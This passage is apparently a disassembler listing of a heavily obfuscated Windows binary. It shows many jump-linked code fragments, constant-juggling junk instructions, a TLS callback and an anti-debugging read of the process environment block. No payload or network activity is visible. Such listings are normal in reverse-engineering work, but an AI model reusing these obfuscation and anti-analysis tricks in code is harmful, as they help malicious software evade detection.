loc_42E6C4:				; CODE XREF: sub_429F7D+13j
		jg	loc_429F70
		jz	loc_424485
		jmp	loc_42A21C
; END OF FUNCTION CHUNK	FOR sub_429F7D

; =============== S U B	R O U T	I N E =======================================



sub_42E6D5	proc near		; DATA XREF: sub_424585+1D66o
		mov	esp, ebp
		pop	ebp
		retn
sub_42E6D5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42E6D9	proc near		; CODE XREF: sub_424585:loc_4262E3p
		mov	dword ptr [eax], 0
		retn
sub_42E6D9	endp

; ---------------------------------------------------------------------------


loc_42E6E0:				; CODE XREF: wto1jq8f:00429A18j
		jmp	locret_42EBE9
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_214. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4284EC


loc_42E6E6:				; CODE XREF: sub_4284EC+10j
		add	eax, 0FD1D9705h
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_42A7D3
		jmp	loc_4287E6
; END OF FUNCTION CHUNK	FOR sub_4284EC
; ---------------------------------------------------------------------------


loc_42E6FB:				; CODE XREF: wto1jq8f:0042A668j
		jz	loc_42E986
		jmp	loc_42E327
; ---------------------------------------------------------------------------


loc_42E706:				; CODE XREF: wto1jq8f:004298C7j
		lea	eax, [ebp-4]
		push	esi
		or	esi, eax
		jmp	loc_428B00
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_238. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_42E712:				; CODE XREF: wto1jq8f:00428395j
		jmp	loc_42C929
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_223. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_42E718:				; CODE XREF: wto1jq8f:0042431Aj
		jmp	locret_42BF87
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A909


loc_42E71D:				; CODE XREF: sub_42A909-335Fj
		call	sub_42CB36
		test	al, al
		jz	loc_424473
		jmp	loc_42B6CF
; END OF FUNCTION CHUNK	FOR sub_42A909
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D322


loc_42E72F:				; CODE XREF: sub_42D322:loc_42BEA8j
		push	edi
		push	0BB0BF06Eh
		pop	edi
		add	edi, 4536D676h
		xchg	edi, [esp+0]
		jmp	sub_429165
; END OF FUNCTION CHUNK	FOR sub_42D322
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425F4F


loc_42E744:				; CODE XREF: sub_425F4F+1466j
		jz	loc_42AE44
		jmp	loc_42EAD2
; END OF FUNCTION CHUNK	FOR sub_425F4F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F614


loc_42E74F:				; CODE XREF: sub_42F614:loc_42F048j
		jz	loc_42D73B
		jmp	loc_42DFA2
; END OF FUNCTION CHUNK	FOR sub_42F614
; ---------------------------------------------------------------------------

locret_42E75A:				; CODE XREF: wto1jq8f:00424B25j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CFE2


loc_42E75B:				; CODE XREF: sub_42CFE2+Bj
		jmp	loc_424000
; END OF FUNCTION CHUNK	FOR sub_42CFE2
; ---------------------------------------------------------------------------


loc_42E760:				; CODE XREF: wto1jq8f:0042A69Bj
		jmp	loc_42F402
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4269FD


loc_42E765:				; CODE XREF: sub_4269FD+Cj
		jmp	loc_42A717
; END OF FUNCTION CHUNK	FOR sub_4269FD
; ---------------------------------------------------------------------------
		add	esi, 18688465h
		jmp	sub_4248E6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_50. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_42E776:				; CODE XREF: wto1jq8f:0042913Ej
		jmp	loc_42E4C0
; ---------------------------------------------------------------------------
		push	2296AEFCh
		jmp	sub_42CEBE

; =============== S U B	R O U T	I N E =======================================



sub_42E785	proc near		; CODE XREF: sub_42DC5C:loc_42884Cp
					; wto1jq8f:0042B9ECj

; FUNCTION CHUNK AT 0042A451 SIZE 00000008 BYTES

		mov	[esp+0], ebx
		pop	ebx
		rol	edx, 1Fh
		call	sub_42D71D


loc_42E791:				; CODE XREF: sub_42970D-121j
		jmp	loc_42A451
sub_42E785	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DA92


loc_42E796:				; CODE XREF: sub_42DA92-69D7j
		jmp	nullsub_144
; END OF FUNCTION CHUNK	FOR sub_42DA92
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A6CD


loc_42E79B:				; CODE XREF: sub_42A6CD-5A95j
					; sub_42A6CD:loc_42A916j
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42E79E:				; CODE XREF: sub_42A6CD:loc_425E60j
		mov	eax, ds:dword_429558


loc_42E7A3:				; CODE XREF: sub_42A6CD+1614j
		mov	edx, [ebp-4]
		jmp	loc_42EB14
; END OF FUNCTION CHUNK	FOR sub_42A6CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427143


loc_42E7AB:				; CODE XREF: sub_427143-F4Fj
		jnz	loc_4292F9
		jmp	loc_429B95
; END OF FUNCTION CHUNK	FOR sub_427143

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42E7B6	proc near		; DATA XREF: wto1jq8f:0042EEC2o
		jmp	loc_42D031
sub_42E7B6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C486


loc_42E7BB:				; CODE XREF: sub_42C486-1681j
		jns	loc_4240CD
		mov	eax, large fs:30h
		add	eax, 20h
		mov	eax, [eax]
		test	eax, 1
		jmp	loc_42E435
; END OF FUNCTION CHUNK	FOR sub_42C486

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E7D7	proc near		; DATA XREF: wto1jq8f:loc_42D469o
		push	ebp
		mov	ebp, esp
		call	sub_42A202
sub_42E7D7	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_4269EF


loc_42E7DF:				; CODE XREF: sub_4269EF+6j
		jmp	nullsub_145
; END OF FUNCTION CHUNK	FOR sub_4269EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A6CD


loc_42E7E4:				; CODE XREF: sub_42A6CD:loc_426E06j
		add	edx, ebp
		add	edx, 38EB0120h
		mov	edx, [edx]
		popf
		mov	byte ptr [eax+edx], 0
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 100h
		jnz	loc_425E60
		jmp	loc_42A916
; END OF FUNCTION CHUNK	FOR sub_42A6CD

; =============== S U B	R O U T	I N E =======================================



sub_42E808	proc near		; DATA XREF: sub_42D953+6o

var_4		= dword	ptr -4

		push	esi
		mov	[esp+4+var_4], eax
		push	7
		push	eax
		push	0B889AD95h
		pop	eax
		jmp	loc_426EF3
sub_42E808	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_37. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A909


loc_42E81B:				; CODE XREF: sub_42A909-2A18j
		pop	ebx
		and	eax, 5C76A73Fh
		popf


loc_42E823:				; CODE XREF: sub_42A909:loc_425098j
		call	nullsub_223
		jmp	nullsub_238
; END OF FUNCTION CHUNK	FOR sub_42A909
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_42. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C6C3


loc_42E82E:				; CODE XREF: sub_42C6C3+1176j
		jmp	loc_42E29C
; END OF FUNCTION CHUNK	FOR sub_42C6C3

; =============== S U B	R O U T	I N E =======================================



sub_42E833	proc near		; CODE XREF: sub_4243D7+1E66p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00424E93 SIZE 00000015 BYTES

		call	sub_42DA92


loc_42E838:				; CODE XREF: sub_42B276-35F4j
		jmp	loc_424E93
sub_42E833	endp


; =============== S U B	R O U T	I N E =======================================



sub_42E83D	proc near		; DATA XREF: sub_4293FF:loc_4285DAo

; FUNCTION CHUNK AT 004269DB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427FE4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C3B7 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042C608 SIZE 00000013 BYTES

		push	4DA34993h
		pop	eax
		add	eax, 47DBBF71h
		add	eax, ebp
		jmp	loc_427FE4
sub_42E83D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4282C1


loc_42E850:				; CODE XREF: sub_4282C1:loc_424211j
		mov	[ebp-10h], eax
		call	sub_42B520


loc_42E858:				; CODE XREF: sub_42CB36:loc_42794Ej
		jz	loc_42B0D1
		jmp	loc_42FAC5
; END OF FUNCTION CHUNK	FOR sub_4282C1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42609A


loc_42E863:				; CODE XREF: sub_42609A:loc_428933j
		xor	edx, 0D88E3D3Ch
		add	eax, edx
		pop	edx
		push	eax
		mov	eax, [ebp+8]
		jmp	loc_42B334
; END OF FUNCTION CHUNK	FOR sub_42609A
; ---------------------------------------------------------------------------
		lea	eax, [ebp-0Ch]
; START	OF FUNCTION CHUNK FOR sub_426E98


loc_42E878:				; CODE XREF: sub_426E98+47F1j
		call	sub_42C0DF


loc_42E87D:				; CODE XREF: sub_42C486+FA9j
		jmp	sub_428183
; END OF FUNCTION CHUNK	FOR sub_426E98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425944


loc_42E882:				; CODE XREF: sub_425944+19j
		jmp	loc_42617A
; END OF FUNCTION CHUNK	FOR sub_425944
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F614


loc_42E887:				; CODE XREF: sub_42F614:loc_4269C6j
		test	ecx, ebx
		jmp	loc_424E6E
; END OF FUNCTION CHUNK	FOR sub_42F614
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42669E


loc_42E88E:				; CODE XREF: sub_42669E:loc_428A9Fj
		or	edx, 83E5A09Fh
		xor	edx, 0D43E81E4h
		call	sub_42D5BA


loc_42E89F:				; CODE XREF: wto1jq8f:0042BAECj
		jnz	loc_426706
		jmp	loc_426133
; END OF FUNCTION CHUNK	FOR sub_42669E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426D4F


loc_42E8AA:				; CODE XREF: sub_426D4F:loc_42C590j
		push	offset sub_42DFF0
		jmp	nullsub_156
; END OF FUNCTION CHUNK	FOR sub_426D4F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F25F


loc_42E8B4:				; CODE XREF: sub_42F25F:loc_42428Fj
		mov	eax, [ebp-18h]
		shl	eax, 2
		cdq
		push	offset loc_42730E
		jmp	nullsub_189
; END OF FUNCTION CHUNK	FOR sub_42F25F
; ---------------------------------------------------------------------------
		jle	loc_424952
		jmp	loc_428BA7

; =============== S U B	R O U T	I N E =======================================



sub_42E8D0	proc near		; CODE XREF: sub_424F7A:loc_425BF3p
		xchg	eax, [esp+0]
		mov	eax, [esp+0]
		rol	eax, 14h
		push	offset loc_428097
		jmp	nullsub_147
sub_42E8D0	endp

; ---------------------------------------------------------------------------
		push	edi
		jmp	sub_4246D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B990


loc_42E8E9:				; CODE XREF: sub_42B990:loc_42C8C1j
		mov	eax, edx
		and	ecx, ebx
		sub	edx, ecx
		mov	ebx, offset loc_42CCB2
		xchg	ebx, [esp-4+arg_0]
		retn
; END OF FUNCTION CHUNK	FOR sub_42B990
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DD2D


loc_42E8F8:				; CODE XREF: sub_42DD2D+Fj
		jmp	loc_42DF6E
; END OF FUNCTION CHUNK	FOR sub_42DD2D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42606D


loc_42E8FD:				; CODE XREF: sub_42606D+352Fj
		jbe	loc_429561
		xor	ebp, 0DED93C23h
		mov	esi, [edi]
		jmp	loc_42444C
; END OF FUNCTION CHUNK	FOR sub_42606D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426968


loc_42E910:				; CODE XREF: sub_426968:loc_424D53j
		xor	ecx, esi
		sub	edi, ebx
		jmp	loc_42D855
; END OF FUNCTION CHUNK	FOR sub_426968

; =============== S U B	R O U T	I N E =======================================



sub_42E919	proc near		; CODE XREF: sub_42A5D5+12p
					; wto1jq8f:0042E95Aj
		mov	[esp+0], edi
		pop	edi
		mov	byte ptr [ebp-803h], 0
		push	offset loc_42F29F
		jmp	nullsub_240
sub_42E919	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427A8D


loc_42E92E:				; CODE XREF: sub_427A8D:loc_426714j
		test	edx, 424A1959h
		jmp	loc_4286D8
; END OF FUNCTION CHUNK	FOR sub_427A8D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_200. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		mov	edx, 92B16BD7h
		push	offset sub_428AE5
		jmp	locret_42CF48
; ---------------------------------------------------------------------------
		push	48E769C3h
		cdq
		jmp	sub_42B12A
; ---------------------------------------------------------------------------
		jns	loc_425D6F
		jmp	sub_42E919
; ---------------------------------------------------------------------------


loc_42E95F:				; CODE XREF: wto1jq8f:004288D9j
		mov	[ecx], eax

; =============== S U B	R O U T	I N E =======================================



sub_42E961	proc near		; CODE XREF: sub_42F25F-7FAFp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004244C0 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00426A72 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042C5D4 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042F1F4 SIZE 00000005 BYTES

		mov	[esp+4+var_4], ebx
		pop	ebx
		mov	eax, [ebp-14h]
		mov	eax, [eax+24h]
		add	eax, [ebp-4]
		jmp	loc_4244C0
sub_42E961	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	ecx, [esp]
		jmp	sub_42FB2F
; ---------------------------------------------------------------------------


loc_42E97B:				; CODE XREF: wto1jq8f:0042E32Cj
		xor	edx, 0FC92ED82h
		popf
		adc	edx, ebp
		adc	ebp, eax
; START	OF FUNCTION CHUNK FOR sub_429D2E


loc_42E986:				; CODE XREF: wto1jq8f:loc_428625j
					; wto1jq8f:0042B05Cj ...
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_429D2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428295


loc_42E989:				; CODE XREF: sub_428295+Cj
		jmp	sub_425BB4
; END OF FUNCTION CHUNK	FOR sub_428295
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426461


loc_42E98E:				; CODE XREF: sub_426461+17j
		jmp	loc_42F9B6
; END OF FUNCTION CHUNK	FOR sub_426461
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429B76


loc_42E993:				; CODE XREF: sub_429B76-59E6j
					; wto1jq8f:00425E4Aj
		call	sub_42CB36
		jmp	loc_42A022
; END OF FUNCTION CHUNK	FOR sub_429B76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424F7A


loc_42E99D:				; CODE XREF: sub_424F7A+811Dj
		jnb	loc_42F275


loc_42E9A3:				; CODE XREF: sub_429BD3+3C29j
		mov	[ebx], edx
		test	ecx, 0AAED04FCh
		jmp	loc_42D3E8
; END OF FUNCTION CHUNK	FOR sub_424F7A
; ---------------------------------------------------------------------------


loc_42E9B0:				; DATA XREF: sub_42C6F9:loc_42C706o
		or	eax, eax
		jnz	loc_424D89
; START	OF FUNCTION CHUNK FOR sub_4262F5


loc_42E9B8:				; CODE XREF: sub_4262F5:loc_42475Cj
		call	sub_427A8D
		mov	edx, 0BD91ED44h
		push	edx
		push	0DAB77A53h
		pop	edx
		jmp	loc_425F41
; END OF FUNCTION CHUNK	FOR sub_4262F5
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_39. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F6A9


loc_42E9CF:				; CODE XREF: sub_42F6A9-23Fj
		jmp	loc_425C02
; END OF FUNCTION CHUNK	FOR sub_42F6A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426350


loc_42E9D4:				; CODE XREF: sub_426350:loc_427C8Dj
					; sub_426C04+5248j
		mov	eax, [ebp-10h]
		mov	eax, [eax+60h]
		add	eax, [ebp-4]
		mov	[ebp-14h], eax
		mov	eax, [ebp-14h]
		jmp	loc_42FD7E
; END OF FUNCTION CHUNK	FOR sub_426350

; =============== S U B	R O U T	I N E =======================================



sub_42E9E8	proc near		; CODE XREF: sub_42F384+Cp

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 004241ED SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004247FF SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00424AF6 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00425C4D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00425EC7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00425F8E SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0042600D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004265CF SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00426931 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426A19 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00426AF5 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00426BCB SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00427361 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00427782 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004277BE SIZE 0000002B BYTES
; FUNCTION CHUNK AT 004277FF SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0042834C SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042849E SIZE 0000002B BYTES
; FUNCTION CHUNK AT 004284D4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428669 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00428802 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428A8F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00428BE9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00428E5F SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00428E80 SIZE 00000001 BYTES
; FUNCTION CHUNK AT 00428ECC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004294D2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004297C8 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00429898 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042A4EF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042A568 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A642 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042A72A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042AC6D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042B0DD SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042B1F5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B752 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042B952 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042BBBE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C080 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C3A8 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042C883 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042CE14 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042CECC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042CEF5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042D289 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042D531 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042D949 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042DF53 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0042EA6B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042EB89 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042F5B8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042FFD6 SIZE 00000008 BYTES

		xchg	eax, [esp+0]


loc_42E9EB:				; CODE XREF: sub_42ADC7:loc_428B21j
		mov	eax, [esp+0]
		call	sub_4245B5
		test	eax, eax
		jz	loc_428BE9
		jmp	loc_42A642
sub_42E9E8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D69D


loc_42EA00:				; CODE XREF: sub_42D69D-194j
		push	6F81DC1Bh
		jz	loc_42DA3D
		xor	edx, 4DC6CD1Fh
		jb	loc_42CD71
		jmp	loc_42FE22
; END OF FUNCTION CHUNK	FOR sub_42D69D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4242F8


loc_42EA1C:				; CODE XREF: sub_4242F8+30E8j
		jz	loc_42D65D
		inc	[ebp+var_8]


loc_42EA25:				; CODE XREF: sub_42A4FA+4j
					; sub_4242F8+9376j ...
		mov	eax, [ebp+var_8]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_4242F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426E98


loc_42EA2C:				; CODE XREF: sub_426E98-CD6j
		jmp	nullsub_231
; END OF FUNCTION CHUNK	FOR sub_426E98

; =============== S U B	R O U T	I N E =======================================



sub_42EA31	proc near		; CODE XREF: sub_42A56D+1p
					; wto1jq8f:0042D8E8j
		xchg	ebx, [esp+0]
		pop	ebx
		mov	ebp, esp
		jnb	sub_42A2B8
		jmp	sub_42C2D2
sub_42EA31	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		cmp	ebx, 3560814Ch
		jmp	loc_42CF13
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FBFD


loc_42EA4D:				; CODE XREF: sub_42FBFD:loc_42823Fj
		mov	eax, [ebp+8]
		push	eax
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-1Ch], 0F6h
		setz	al
		jmp	loc_42F221
; END OF FUNCTION CHUNK	FOR sub_42FBFD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424D63


loc_42EA63:				; CODE XREF: sub_424D63:loc_42D844j
		ror	ecx, 2
		jmp	loc_42CFF2
; END OF FUNCTION CHUNK	FOR sub_424D63
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E9E8


loc_42EA6B:				; CODE XREF: sub_42E9E8:loc_426AF5j
		cmp	dword ptr [ebp-4], 1
		jnz	loc_42C73E
		jmp	loc_42B1F5
; END OF FUNCTION CHUNK	FOR sub_42E9E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E460


loc_42EA7A:				; CODE XREF: sub_42E460+9j
		pop	esi
		add	esi, 69B0C9C8h
		xchg	esi, [esp+14h+var_14]
		jmp	sub_424585
; END OF FUNCTION CHUNK	FOR sub_42E460
; ---------------------------------------------------------------------------
		xor	ebx, 0DD85E82Dh
		jmp	loc_42F12F
; ---------------------------------------------------------------------------


loc_42EA94:				; CODE XREF: wto1jq8f:0042CE3Bj
		shl	eax, cl
		mov	cl, [ebp-0Bh]
		xor	edx, edx
		mov	dl, [ebp-9]
		shr	edx, cl
		or	eax, edx
		mov	edx, [ebp-8]
		jmp	loc_424369
; ---------------------------------------------------------------------------

locret_42EAAA:				; CODE XREF: wto1jq8f:00428F5Cj
					; wto1jq8f:loc_42AB22j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR TlsCallback_0


loc_42EAAB:				; CODE XREF: TlsCallback_0+6878j
		jmp	loc_42999A
; END OF FUNCTION CHUNK	FOR TlsCallback_0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42727F


loc_42EAB0:				; CODE XREF: sub_42727F+1381j
		jmp	loc_426663
; END OF FUNCTION CHUNK	FOR sub_42727F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429D2E


loc_42EAB5:				; CODE XREF: sub_429D2E:loc_424F75j
		jz	loc_4261B1
		jmp	loc_42A0FD
; END OF FUNCTION CHUNK	FOR sub_429D2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425F4F


loc_42EAC0:				; CODE XREF: sub_425F4F+8388j
		jnz	loc_429A57
		adc	edx, 24E21F6Ch


loc_42EACC:				; CODE XREF: wto1jq8f:loc_427B56j
		call	sub_42EADC
		retn
; ---------------------------------------------------------------------------


loc_42EAD2:				; CODE XREF: sub_425F4F+87FBj
		jmp	loc_428E9C
; END OF FUNCTION CHUNK	FOR sub_425F4F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E5B2


loc_42EAD7:				; CODE XREF: sub_42E5B2-5373j
		jmp	loc_424BEA
; END OF FUNCTION CHUNK	FOR sub_42E5B2

; =============== S U B	R O U T	I N E =======================================



sub_42EADC	proc near		; CODE XREF: sub_425F4F:loc_42EACCp

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004268B6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004281A1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042EC51 SIZE 0000000D BYTES

		pushf
		jmp	loc_4281A1
sub_42EADC	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426C0C


loc_42EAE2:				; CODE XREF: sub_426C0C+3C66j
		jnz	loc_42E294
		jmp	loc_42644C
; END OF FUNCTION CHUNK	FOR sub_426C0C

; =============== S U B	R O U T	I N E =======================================



sub_42EAED	proc near		; CODE XREF: wto1jq8f:004245FAj
					; sub_42621A+5EA2p

; FUNCTION CHUNK AT 00426E7D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042CA38 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	edx, [ebp+8]
		imul	dword ptr [edx-4]
		add	eax, 2
		mov	[ebp-0Ch], eax
		mov	eax, [ebp-0Ch]
		add	[ebp-8], eax
		jmp	loc_42CA38
sub_42EAED	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		test	eax, eax
		setnz	byte ptr [ebp-1]
		mov	al, [ebp-1]
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A6CD


loc_42EB14:				; CODE XREF: sub_42A6CD+40D9j
		jmp	loc_42C803
; END OF FUNCTION CHUNK	FOR sub_42A6CD
; ---------------------------------------------------------------------------


loc_42EB19:				; CODE XREF: wto1jq8f:004270F5j
		call	sub_42776C
		jmp	loc_42E15D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426E98


loc_42EB23:				; CODE XREF: sub_426E98:loc_426FB8j
		mov	esi, ebp
		jmp	loc_426AEF
; END OF FUNCTION CHUNK	FOR sub_426E98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42506F


loc_42EB2A:				; CODE XREF: sub_42506F+C96j
		jno	loc_42E1F6
		jmp	loc_427ACA
; END OF FUNCTION CHUNK	FOR sub_42506F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426C0C


loc_42EB35:				; CODE XREF: sub_426C0C+5ECEj
		jle	loc_42F8AF
		mov	ecx, ebp
		xor	edx, 81C478A0h


loc_42EB43:				; CODE XREF: sub_426C0C:loc_426A67j
		lea	eax, [ebp-26Fh]
		cmp	dword ptr [eax], 47424454h
		jz	loc_4265DB
		jmp	loc_42F4F4
; END OF FUNCTION CHUNK	FOR sub_426C0C
; ---------------------------------------------------------------------------
		add	ebx, 5E47FE0Ah
		jmp	loc_42F9C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D9FC


loc_42EB65:				; CODE XREF: sub_42D9FC-66B8j
		jnb	loc_427898
		ror	esi, 19h
		jmp	loc_424668
; END OF FUNCTION CHUNK	FOR sub_42D9FC
; ---------------------------------------------------------------------------
		jbe	loc_42CC08
		jmp	loc_42E3C0
; ---------------------------------------------------------------------------
		test	edi, 7B455D4Fh
		jmp	loc_426B68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E9E8


loc_42EB89:				; CODE XREF: sub_42E9E8-5B79j
		push	100h
		push	0B13748B0h
		pop	eax
		call	sub_42C990


loc_42EB99:				; CODE XREF: wto1jq8f:00429FC6j
		jmp	loc_4265CF
; END OF FUNCTION CHUNK	FOR sub_42E9E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CB36


loc_42EB9E:				; CODE XREF: sub_42CB36-EA0j
		call	sub_42707F
; END OF FUNCTION CHUNK	FOR sub_42CB36
; START	OF FUNCTION CHUNK FOR sub_42708B


